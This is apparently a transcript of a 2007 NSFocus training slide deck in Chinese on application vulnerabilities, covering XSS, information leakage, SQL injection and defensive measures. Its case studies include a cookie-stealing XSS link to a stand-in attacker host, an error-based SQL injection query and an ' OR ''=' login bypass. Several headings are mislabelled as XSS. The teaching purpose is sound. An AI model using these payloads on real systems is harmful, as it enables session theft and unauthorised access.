2007 - 应用系统脆弱性概论
DESCRIPTION
2007 年的一份文档TRANSCRIPT
应用系统脆弱性概论
绿盟科技
sbilly 2007年9月
NSFocus Information Technology Co. Ltd.
密级:公开文档
2© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
目录页
• 应用系统脆弱性
• 应用系统面临的攻击
• 如何保护应用系统
应用系统脆弱性
风险=F(资产, 脆弱性, 威胁)
4© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统脆弱性
• 什么是脆弱性– 脆弱性是风险的构成部分
• Risk = F (Asset,Threat,Vulnerability)
– 脆弱性是一个或一组资产中存在的,可能被一个或多个威胁利用的脆弱之处
• 被利用来攻击业务系统的漏洞
• 应用系统脆弱性的构成– 应用系统的构成
• 人、业务流程、软件、硬件
– 应用系统脆弱性的构成• 人、业务流程、软件、硬件
5© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统技术模型
• 网络– 通信协议
– 网络设备
• 操作系统– Windows
– Linux
• 一般服务组件– Web 服务
– 数据库服务
• 用户特定应用– 网银
– 门户
6© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
客户端同样会遭到攻击!
应用系统所面临的攻击
8© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统的脆弱性
•通信协议的脆弱性(通用)•网络设备的脆弱性(通用)
•操作系统的脆弱性(通用)
•一般服务组件的脆弱性(通用)
•应用脆弱性(不通用)
9© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统面临的攻击
• 利用通用脆弱性(Common Vulnerability)的攻击– 利用通信协议脆弱性的攻击:
• ARP Spoof
• DNS Poison
• 大部分拒绝服务攻击
– 利用网络设备、操作系统、一般组件漏洞的攻击:• 弱密码
• 缺乏补丁
• 配置失误
10© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统面临的攻击
• 利用特殊脆弱性(Custom Vulnerability)的攻击
11© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
针对特定应用最常见的攻击
• 背景资料– 时间:2006年1月1日至2006年12月31日
– 测试应用数量: 31373个
• 最常见攻击– 跨站脚本
– 信息泄漏
– SQL 注入
12© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
跨站脚本 - Cross-site Scripting
• 什么是跨站脚本– Cross-site Scripting 或者 XSS
– 跨站脚本是一种迫使应用系统向客户端回显攻击者所提交可执行代码的攻击技巧,通常是针对浏览器的攻击,攻击者提交的代码通常是 HTML/JavaScript,但是也可以扩展到 VBScript/ActiveX/Java 等其他浏览器支持的技术上
• 跨站脚本产生原因– 没有对用户数据进行校验和过滤
• 跨站脚本的危害– 伪造信息,欺骗用户
– 盗窃用户 Cookie 中的敏感信息
13© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
• 案例– 某个站点页面
http://portal.example/index.php?sessionid=12312312&username=Joe 显示信息为 Hello, Joe!
– 攻击者诱使用户点击链接http://portal.example/index.php?sessionid=12312312&
username=<script>document.location=‘http://attacker
host.example/cgi-
bin/cookiesteal.cgi?’+document.cookie</script> 就可以成功窃取用户的 Cookie
跨站脚本
14© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
信息泄漏 - Information Leakage
• 什么是信息泄漏– Information Leakage
– 信息泄漏是攻击者通过某种方式获得应用系统某些敏感信息的攻击技巧,通常是利用程序员遗留在代码中的注释或者服务器程序的错误信息
• 跨站脚本产生原因– 应用系统部署时没有将注释去掉
– 应用系统部署时没有正确的配置服务器程序
• 跨站脚本的危害– 有利于攻击者进一步的攻击,例如 SQL 注入
15© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
• 案例– 某站点存在 SQL 注入漏洞,攻击者提交请求
http://portal.example/index.asp? id=10 ;select TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
将通过错误信息获得数据表的第一个表名
Microsoft OLE DB Provider for ODBC Drivers error '80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
跨站脚本
16© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
SQL 注入- SQL Injection
• 什么是 SQL 注入– SQL 注入
– SQL 注入是攻击者通过输入恶意的请求直接操作数据库服务器的攻击技巧
• 跨站脚本产生原因– 应用开发过程中没有对用户输入进行校验和过滤
• 跨站脚本的危害– 机密数据泄漏
– 服务器被控制
17© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
• 案例– 某站点存在以下代码
SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'“
strAuthCheck = GetQueryResult(SQLQuery)
攻击者提交的请求使得:
strUsername= ' OR ''='
strPassword= ' OR ''='
此时查询变成
SELECT Username FROM Users WHERE Username =
'' OR ''='' AND Password = '' OR ''=''
攻击者直接绕过系统的身份验证
跨站脚本
如何保护应用系统
19© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
应用系统的脆弱性
•通信协议的脆弱性(通用)•网络设备的脆弱性(通用)
•操作系统的脆弱性(通用)
•一般服务组件的脆弱性(通用)
•应用脆弱性(不通用)
20© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
如何保护应用系统
• 降低系统脆弱性– 通用脆弱性(Common Vulnerability)
• 补丁管理
• 安全加固
• 安全设备(Firewall、IPS、Anti-DoS)
– 特殊脆弱性(Custom Vulnerability)• 安全编码
• 应用安全测试
• Application Firewall
• SQL Driver Proxy
绿盟科技 – 巨人背后的专家
谢谢!
22© 2007 中联绿盟信息技术(北京)有限公司 密级:内部使用
Questions?